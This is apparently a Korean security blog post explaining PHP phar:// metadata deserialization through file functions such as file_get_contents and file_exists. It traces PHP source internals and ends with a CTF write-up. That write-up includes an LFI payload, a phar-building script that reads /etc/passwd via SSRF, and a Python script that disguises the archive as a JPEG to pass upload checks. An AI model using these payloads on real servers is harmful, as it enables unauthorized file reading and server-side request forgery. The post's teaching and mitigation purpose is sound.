PHP Exploitation using FILE Function

시작하기에 앞서

오탈자, 혹은 잘못된 부분은 언제든 환영합니다 :)

Contents

  1. Introduce
  2. File related function
  3. Analysis
  4. Exploit
  5. Solution
  6. Vulnerable Function

Introduce

우리가 PHP 페이지를 작성할 때 흔히 사용되는 include, include_once, require, require_once, file_get_contents 등의 함수에서는 http:// 또는 https:// 뿐만 아니라 특수한 schema(e.g. file://, data://, and so on ) 를 사용할 수 있습니다.

위의 함수들은 잘못 사용하였을때, 취약한 형태로 이루어 질 수 있는데, 아래의 코드가 취약한 형태의 한 예제입니다.

$page = $_GET['page'];
if(empty($page))
    include('home.php');
else
    include($page);

page파라미터에 ../../../../../../etc/passwd와 같은 중요 파일 또는 php wrapper를 사용해 소스코드를 누출할 수 있는 LFI(Local File Inclusion)취약점이 발생합니다.

Query : page=php://filter/convert.base64-encode/resource=index.php

이번 포스팅에서는 위와 같은 형태가 아닌 파일 관련 함수에 phar schema를 이용하여 RCE(Remote Command Execution) 또는 LFI(Local File Inclusion)을 하는 방법에 대해서 설명하려고 합니다.

파일 관련 함수는 파일을 열고, 쓰고, 지우며, 파일의 존재 여부 등을 수행하는 함수입니다. 이전에 언급된 함수들을 포함하여, file_exists, file_get_contents, is_dir 등의 파일 관련 함수에서 발생합니다.

지금까지 PHP개발을 해보셨다거나 현업에서 PHP를 사용중이시라면 자주 보는 함수들이고, 또한 코드상에서는 이게 왜 취약한지조차 알수가 없습니다. 이것이 왜 취약한지에 대해서는 다음 파트에서 알아보도록 합시다.

추가적으로 발생하는 함수 리스트는 포스팅 맨아래에 첨부하였습니다.

Analysis

왜 unserialize 취약점이 발생하는지 알기 위해서 file_get_contents의 코드를 통해 분석을 진행하였습니다.

우선 분석을 위해 phar파일을 하나 생성하였습니다.

class TEST {
    public $fn;
    function __construct($f){
        $this->fn = $f;
    }
    function __wakeup(){
        print('Hello?');
    }
    function __destruct(){
        readfile($this->fn);
    }
};

$phar = new Phar('shpik.phar');
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("<?php echo 'STUB!'; __HALT_COMPILER(); ?>");
$obj = new TEST('secret');
$phar->setMetadata($obj);
$phar->stopBuffering();

위 코드를 실행하면 다음과 같은 파일이 생성됩니다.

$ xxd ./shpik.phar
00000000: 3c3f 7068 7020 6563 686f 2027 5354 5542  <?php echo 'STUB
00000010: 2127 3b20 5f5f 4841 4c54 5f43 4f4d 5049  !'; __HALT_COMPI
00000020: 4c45 5228 293b 203f 3e0d 0a5b 0000 0001  LER(); ?>..[....
00000030: 0000 0011 0000 0001 0000 0000 0025 0000  .............%..
00000040: 004f 3a34 3a22 5445 5354 223a 313a 7b73  .O:4:"TEST":1:{s
00000050: 3a32 3a22 666e 223b 733a 363a 2273 6563  :2:"fn";s:6:"sec
00000060: 7265 7422 3b7d 0800 0000 7465 7374 2e74  ret";}....test.t
00000070: 7874 0400 0000 366a 685c 0400 0000 0c7e  xt....6jh\.....~
00000080: 7fd8 b601 0000 0000 0000 7465 7374 f98b  ..........test..
00000090: aaf0 7402 242b c988 655c ff0e 5694 d006  ..t.$+..e\..V...
000000a0: befa 0200 0000 4742 4d42                 ......GBMB

$ cat secret
MAshiro:)

이제 생성한 파일을 가지고 아래의 코드를 실행하여 분석을 시작하였습니다.

class TEST {
    public $fn;
    function __construct($f){
        $this->fn = $f;
    }
    function __wakeup(){
        print('Hello?');
    }
    function __destruct(){
        readfile($this->fn);
    }
};

file_get_contents('phar://shpik.phar');
  • php_filestat.h
// https://github.com/php/php-src/blob/master/ext/standard/php_filestat.h

#ifndef PHP_FILESTAT_H
#define PHP_FILESTAT_H

PHP_RINIT_FUNCTION(filestat);
PHP_RSHUTDOWN_FUNCTION(filestat);

PHP_FUNCTION(realpath_cache_size);
PHP_FUNCTION(realpath_cache_get);
PHP_FUNCTION(clearstatcache);
PHP_FUNCTION(fileatime);
PHP_FUNCTION(filectime);
...
PHP_FUNCTION(file_exists);
...
  • file.c
//  https://github.com/php/php-src/blob/master/ext/standard/file.c

PHP_FUNCTION(file_get_contents)
{
	char *filename;
	size_t filename_len;
	zend_bool use_include_path = 0;
	php_stream *stream;
	zend_long offset = 0;
	zend_long maxlen = (ssize_t) PHP_STREAM_COPY_ALL;
	zval *zcontext = NULL;
	php_stream_context *context = NULL;
	zend_string *contents;

	/* Parse arguments */
	ZEND_PARSE_PARAMETERS_START(1, 5)
		Z_PARAM_PATH(filename, filename_len)
		Z_PARAM_OPTIONAL
		Z_PARAM_BOOL(use_include_path)
		Z_PARAM_RESOURCE_EX(zcontext, 1, 0)
		Z_PARAM_LONG(offset)
		Z_PARAM_LONG(maxlen)
	ZEND_PARSE_PARAMETERS_END();

	if (ZEND_NUM_ARGS() == 5 && maxlen < 0) {
		php_error_docref(NULL, E_WARNING, "length must be greater than or equal to zero");
		RETURN_FALSE;
	}

	context = php_stream_context_from_zval(zcontext, 0);

	stream = php_stream_open_wrapper_ex(filename, "rb",
				(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
				NULL, context);
	if (!stream) {
		RETURN_FALSE;
	}

	if (offset != 0 && php_stream_seek(stream, offset, ((offset > 0) ? SEEK_SET : SEEK_END)) < 0) {
		php_error_docref(NULL, E_WARNING, "Failed to seek to position " ZEND_LONG_FMT " in the stream", offset);
		php_stream_close(stream);
		RETURN_FALSE;
	}

	if (maxlen > INT_MAX) {
		php_error_docref(NULL, E_WARNING, "maxlen truncated from " ZEND_LONG_FMT " to %d bytes", maxlen, INT_MAX);
		maxlen = INT_MAX;
	}
	if ((contents = php_stream_copy_to_mem(stream, maxlen, 0)) != NULL) {
		RETVAL_STR(contents);
	} else {
		RETVAL_EMPTY_STRING();
	}

	php_stream_close(stream);
}
  • php_streams.h
// https://github.com/php/php-src/blob/master/main/php_streams.h

PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
...
#define php_stream_open_wrapper(path, mode, options, opened)	_php_stream_open_wrapper_ex((path), (mode), (options), (opened), NULL STREAMS_CC)
#define php_stream_open_wrapper_ex(path, mode, options, opened, context)	_php_stream_open_wrapper_ex((path), (mode), (options), (opened), (context) STREAMS_CC)
...
  • streams.c
// https://github.com/php/php-src/blob/master/main/streams/streams.c

PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
		zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
	php_stream *stream = NULL;
	php_stream_wrapper *wrapper = NULL;
	const char *path_to_open;
	int persistent = options & STREAM_OPEN_PERSISTENT;
	zend_string *resolved_path = NULL;
	char *copy_of_path = NULL;

	if (opened_path) {
		*opened_path = NULL;
	}

	if (!path || !*path) {
		php_error_docref(NULL, E_WARNING, "Filename cannot be empty");
		return NULL;
	}

	if (options & USE_PATH) {
		resolved_path = zend_resolve_path(path, strlen(path));
		if (resolved_path) {
			path = ZSTR_VAL(resolved_path);
			/* we've found this file, don't re-check include_path or run realpath */
			options |= STREAM_ASSUME_REALPATH;
			options &= ~USE_PATH;
		}
	}

	path_to_open = path;

	wrapper = php_stream_locate_url_wrapper(path, &path_to_open, options);
	if (options & STREAM_USE_URL && (!wrapper || !wrapper->is_url)) {
		php_error_docref(NULL, E_WARNING, "This function may only be used against URLs");
		if (resolved_path) {
			zend_string_release_ex(resolved_path, 0);
		}
		return NULL;
	}

	if (wrapper) {
		if (!wrapper->wops->stream_opener) {
			php_stream_wrapper_log_error(wrapper, options ^ REPORT_ERRORS,
					"wrapper does not support stream open");
		} else {
			stream = wrapper->wops->stream_opener(wrapper,
				path_to_open, mode, options ^ REPORT_ERRORS,
				opened_path, context STREAMS_REL_CC);
		}
	... ...
	return stream;
}

위의 코드를 보면 실질적으로 요청 한 파일은 _php_stream_open_wrapper_ex 의 함수를 통해 stream으로 반환해줍니다.

해당 함수는 php_stream_locate_url_wrapper 함수를 통해 path에서 wrapper를 추출하고, 그 값이 정상인지 판별합니다.

php_stream_locate_url_wrapper
  1. 첫번째 인자로 들어간 Path에서 schema 추출
    1. isalnum((int)*p) or *p == ‘+’ or *p == ‘-‘ or *p == ‘.’
    2. 위의 조건문이 만족하지 않을때까지의 값
  2. schema가 hashmap에 등록되어 있는지 확인
    1. 등록되어 있을경우 wrapper 반환
    2. 이 경우 php.ini와 같은 설정파일을 이용
  3. schema가 file://인지 확인
    1. 만약 file이며 그 뒤가 localhost가 아닌 다른 url이 들어있을 경우 Error 출력 및 null 반환 (file schema는 remote를 미지원)
    2. 정상적이라면 해당 wrapper 반환
  4. wrapper가 url이면서 allow_url_fopenin_user_include, allow_url_include 가 true인지 확인
    1. false일 경우 null 반환

php_stream_locate_url_wrapper 에서 추출한 wrapper 구조체에서 stream_opener 함수를 수행하게 됩니다.

wrapper->wops->stream_opener 의 함수을 호출할 때, 실제로 어떤 함수가 호출되는지 보고 이를 분석해봅시다.

phar의 경우 stream_opener의 값이 phar_wrapper_open_url의 주소이며 이를 호출합니다.

// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/stream.c#L161

static php_stream * phar_wrapper_open_url(php_stream_wrapper *wrapper, const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
	phar_archive_data *phar;
	phar_entry_data *idata;
	char *internal_file;
	char *error;
	HashTable *pharcontext;
	php_url *resource = NULL;
	php_stream *fpf;
	zval *pzoption, *metadata;
	uint32_t host_len;

	if ((resource = phar_parse_url(wrapper, path, mode, options)) == NULL) {
		return NULL;
	}
	... ...
}

phar_wrapper_open_url 의 내부에서는 phar_parse_url 함수를 호출하는데, 입력받은 phar 파일의 절대 경로의 값과 그 길이 및 기타 를 가지고 phar_open_from_filename 함수를 실행합니다.

// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/stream.c#L60

php_url* phar_parse_url(php_stream_wrapper *wrapper, const char *filename, const char *mode, int options) 
{
	php_url *resource;
	char *arch = NULL, *entry = NULL, *error;
	size_t arch_len, entry_len;
	... ...
		if (phar_open_from_filename(ZSTR_VAL(resource->host), ZSTR_LEN(resource->host), NULL, 0, options, NULL, &error) == FAILURE)
	... ...
	return resource;
}
    
// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L1500

int phar_open_from_filename(char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, char **error) 
{
	php_stream *fp;
	zend_string *actual;
	int ret, is_data = 0;

	if (error) {
		*error = NULL;
	}

	if (!strstr(fname, ".phar")) {
		is_data = 1;
	}

	if (phar_open_parsed_phar(fname, fname_len, alias, alias_len, is_data, options, pphar, error) == SUCCESS) {
		return SUCCESS;
	} else if (error && *error) {
		return FAILURE;
	}
	if (php_check_open_basedir(fname)) {
		return FAILURE;
	}

	fp = php_stream_open_wrapper(fname, "rb", IGNORE_URL|STREAM_MUST_SEEK, &actual);
	... ...
	ret =  phar_open_from_fp(fp, fname, fname_len, alias, alias_len, options, pphar, is_data, error);

	if (actual) {
		zend_string_release_ex(actual, 0);
	}

	return ret;
}

phar_open_from_filename 에서는 입력받은 파일을 stream으로 열어 file pointer를 리턴받고, 해당 값을 인자에 포함하여 phar_open_from_fp 를 호출하게 됩니다.

// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L1586

static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) 
{
	... ...

			if (!memcmp(pos, zip_magic, 4)) {
				php_stream_seek(fp, 0, SEEK_END);
				return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
			}

			if (got > 512) {
				if (phar_is_tar(pos, fname)) {
					php_stream_rewind(fp);
					return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
				}
	... ...

		if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
			halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
			return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
		}

		halt_offset += got;
		memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
	... ...
}

phar_open_from_fp 의 내부에서는 해당 파일의 타입(zip, tar, phar)이 무엇인지 확인하고 확인하고, 이에 맞는 phar_parse_[extension]file 을 호출해줍니다.

지금 우리는 shpik.phar라는 phar 타입으로 진행하므로, phar_parse_pharfile을 호출합니다.

// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L664

static int phar_parse_pharfile(php_stream *fp, char *fname, size_t fname_len, char *alias, size_t alias_len, zend_long halt_offset, phar_archive_data** pphar, uint32_t compression, char **error) 
{
	... ...
	if (phar_parse_metadata(&buffer, &mydata->metadata, len) == FAILURE) {
		MAPPHAR_FAIL("unable to read phar metadata in .phar file \"%s\"");
	}
	... ...
		if (phar_parse_metadata(&buffer, &entry.metadata, len) == FAILURE) {
			pefree(entry.filename, entry.is_persistent);
			MAPPHAR_FAIL("unable to read file metadata in .phar file \"%s\"");
		}
	.. ...
	return SUCCESS;
}

phar_parse_pharfile 함수는 실제로 phar을 파싱해주는 함수이며, 복잡하면서도 간단(?)하게 되어있으므로, 궁금하신 분들은 한번 읽어보시길 바랍니다.

이 함수 안에서는 phar을 파싱하기 위한 함수들을 호출해주며, 그 중 pharMetadata값이 unserialize되는 함수인 phar_parse_metadata 이 호출합니다.

phar_parse_metadata 함수를 보면 다음과 같습니다.

// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L607

int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len) 
{
	php_unserialize_data_t var_hash;

	if (zip_metadata_len) {
		const unsigned char *p;
		unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
		p = p_buff;
		ZVAL_NULL(metadata);
		PHP_VAR_UNSERIALIZE_INIT(var_hash);
//	php_var_unserialize 함수는 metadata의 값을 unserialize합니다.
        
//	만약 취약한 class가 서버에 존재할 경우, 
        
//	unserialize를 통해 Trigger할 수 있으며, 
        
//  잠재적으로 RCE의 위험을 가지고 있습니다.	
        
		if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { 
			efree(p_buff);
			PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
			zval_ptr_dtor(metadata);
			ZVAL_UNDEF(metadata);
			return FAILURE;
		}
		efree(p_buff);
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

		if (PHAR_G(persist)) {
			/* lazy init metadata */
			zval_ptr_dtor(metadata);
			Z_PTR_P(metadata) = pemalloc(zip_metadata_len, 1);
			memcpy(Z_PTR_P(metadata), *buffer, zip_metadata_len);
			return SUCCESS;
		}
	} else {
		ZVAL_UNDEF(metadata);
	}

	return SUCCESS;
}

즉, 우리가 처음에 생성한 shpik.phar을 file_get_contents를 통해 열게 될 때, 이 부분에서 unserialize가 발생하게 되는 것입니다.

$ php test.php
Hello?
MAshiro:)

마무리를 하자면, file_get_contents를 실행하면 아래의 Call Stack의 순으로 실행을 하게되어 metadata의 값이 unserialize 되는 것을 알 수 있습니다.

[ Call Stack ]
zif_file_get_contents -> _php_stream_open_wrapper_ex -> phar_wrapper_open_url -> phar_parse_url -> phar_open_from_filename -> phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata

Exploit

phar 스키마를 이용해 file 관련 함수를 통한 공격을 할 경우에는, unserialize 취약점이여서 취약한 class를 사용할 경우에 공격이 가능합니다.

또한, unserialize공격을 할때, 취약한 가젯을 모아둔 phpggc 라는 툴이 존재합니다. 만약 공격하려는 서버가 해당 툴에서 제공해주는 취약한 가젯과 환경이 일치할 경우, 이를 이용하여 편하게 Phar을 생성할 수 있고, 이를 가지고 공격을 진행할 수 있습니다.

해당 툴은 java unserialize 툴로써 유명한 ysoserial 와 비슷하다고 보시면 됩니다.

2018년도 TenDollar CTF에서 제가 출제한 Cat Proxy는 이 취약점을 이용한 문제이며, 이를 간략하게 설명 드리는 것으로 마무리하겠습니다.

Cat Proxy문제는 unserialize를 이용한 SSRF문제입니다.

자세한 풀이와 풀 익스플로잇은 다음의 주소를 참조해 주시기 바랍니다.

URL : http://blog.shpik.kr/2018/Cat-Proxy_writeup/

Cat Proxy 문제의 경우 Requests라는 Class를 사용합니다.

class Requests{
    public $url;

    function __construct($url){
        $this->url = $url;
    }
    function __destruct(){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $output = curl_exec($ch);
        echo '<div class="description">'.$output.'</div>';
    }
}

하지만, 웹 페이지에서 이를 이용한 기능은 아래와 같이 필터링이 되어있어 원하는 행위를 할 수가 없습니다.

$url = $_POST['url'];
if(preg_match('/phar|zip|gopher|php|dict|iter|glob|ftp|file|%0d|%0a/i',$url)){
	echo "Hacking Detected!<br>What's are you doing now nyaa?!";
}else{
	$obj = new Requests($url);
}

프로필을 업로드 하는 코드를 보면 다음과 같습니다.

if($_SESSION['is_login'] !==1 ) die("<script>alert('Login please.');history.back();</script>");
chdir('uploads');
$allowExt = Array('jpg','jpeg','png','gif');
$fname = $_FILES['thumb']['name'];
$fname = array_pop(explode('./',$fname));
if(file_exists(urldecode($fname))){

    echo "<script>alert('Already uploaded file.\\nPlease change filename.');history.back();</script>";
}else{
    $ext = strtolower(array_pop(explode('.',$fname)));
    if($_FILES['thumb']['error'] !== 0){
        die("<script>alert('Upload Error!');history.back();</script>");
    }
    if(!in_array($ext, $allowExt)){
        die("<script>alert('Sorry, not allow extension.');history.back();</script>");
    }

    $contents = file_get_contents($_FILES['thumb']['tmp_name']);

    if($ext=="jpg"){
        if(substr($contents,0,3)!="\xFF\xD8\xFF") die("<script>alert('JPG is corrupted.\\nSorry.');history.back();</script>");
    }else if($ext=="jpeg"){
        if(substr($contents,0,3)!="\xFF\xD8\xFF") die("<script>alert('JPEG is corrupted.\\nSorry.');history.back();</script>");
    }else if($ext=="png"){
        if(substr($contents,0,4)!="\x89PNG") die("<script>alert('PNG is corrupted.\\nSorry.');history.back();</script>");
    }else if($ext=="gif"){
        if(substr($contents,0,4)!="GIF8") die("<script>alert('GIF is corrupted.\\nSorry.');history.back();</script>");
    }else{
        die("<script>alert('Something error.\\nSorry.');history.back();</script>");
    }

    @move_uploaded_file($_FILES['thumb']['tmp_name'], $fname);

    $id = $mysql->real_escape_string($_SESSION['id']);
    $sql = "UPDATE users SET thumb='".$mysql->real_escape_string($fname)."' WHERE id='".$id."';";
    $result = $mysql->query($sql);
    if($result===TRUE){
        $_SESSION['avatar'] = $fname;
        echo("<script>alert('Successfully Avatar Change!');history.back();</script>");
    }else{
        echo("<script>alert('Upload failed!');history.back();</script>");
    }
}

확장자와 header format의 앞 부분을 검사하여 정상적일 경우 서버에 업로드되고 자신의 프로필로 변경이 됩니다.

문제의 취약점은 바로 file_exists(urldecode($fname)) 함수입니다.

여기서 흥미로운 사실은 phar의 경우 확장자에 민감하지 않아 원하는 대로 변경을 해줘도 작동을 합니다.

이를 이용해 Requests class를 사용하면, 필터링에 제한을 받지않기 때문에 우리가 원하는 url을 넣어 SSRF 또는 LFI등 일으키는 것이 가능합니다.

ini_set('phar.readonly',0);
class Requests{
    public $url;

    function __construct($url){
        $this->url = $url;
    }
    function __destruct(){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $output = curl_exec($ch);
        echo $output;
    }
}

@unlink("test.tar");
$phar = new PharData("get_flag.tar");
$phar["AAABshpik"] = "FLAGFLAGFLAG";
$obj = new Requests('file:///etc/passwd');
$phar->setMetadata($obj);

하지만 이렇게 업로드하게되면, header format에 맞지 않습니다.

아래의 코드를 통해 위의 AAABshpik의 값을 jpg header format에 맞게 변경하였습니다.

import sys
import struct

def calcChecksum(data):
	return sum(struct.unpack_from("148B8x356B",data))+256

if __name__=="__main__":
	if len(sys.argv)!=3:
		print "argv[1] is filename\nargv[2] is output filename.\n"
	else:
		with open(sys.argv[1],'rb') as f:
			data = f.read()
		# Make new checksum
		new_name = "\xFF\xD8\xFF\xDBshpik".ljust(100,'\x00')
		new_data = new_name + data[100:]
		checksum = calcChecksum(new_data)
		new_checksum = oct(checksum).rjust(7,'0')+'\x00'
		new_data = new_name + data[100:148] + new_checksum + data[156:]

		with open(sys.argv[2],'wb') as f:
			f.write(new_data)

위의 코드를 통해 jpg파일을 생성한 후 서버에 업로드하면 /etc/passwd를 읽을 수 있습니다.

이로써 Exploit부분을 마치겠습니다.

Solution

이 공격은 file 관련 함수를 쓸 때, phar과 같은 wrapper를 필터링 해주므로써 쉽게 방지할 수 있습니다. 주의할 점은 php에서 wrapper의 경우 대소문자에 민감하지 않으므로, 필터링 하려는 wrapper의 대소문자를 필터링 해주어야 합니다.

Vulnerable Function

  • include(‘phar://test.phar’);
  • file_get_contents(‘phar://test.phar’);
  • file_put_contents(‘phar://test.phar’, ‘’);
  • copy(‘phar://test.phar’, ‘’);
  • file_exists(‘phar://test.phar’);
  • is_executable(‘phar://test.phar’);
  • is_file(‘phar://test.phar’);
  • is_dir(‘phar://test.phar’);
  • is_link(‘phar://test.phar’);
  • is_writable(‘phar://test.phar‘);
  • fileperms(‘phar://test.phar’);
  • fileinode(‘phar://test.phar’);
  • filesize(‘phar://test.phar’);
  • fileowner(‘phar://test.phar’);
  • filegroup(‘phar://test.phar’);
  • fileatime(‘phar://test.phar’);
  • filemtime(‘phar://test.phar’);
  • filectime(‘phar://test.phar’);
  • filetype(‘phar://test.phar’);
  • getimagesize(‘phar://test.phar’);
  • exif_read_data(‘phar://test.phar’);
  • stat(‘phar://test.phar’);
  • lstat(‘phar://test.phar’);
  • touch(‘phar://test.phar‘);
  • md5_file(‘phar://test.phar’);
  • and so on..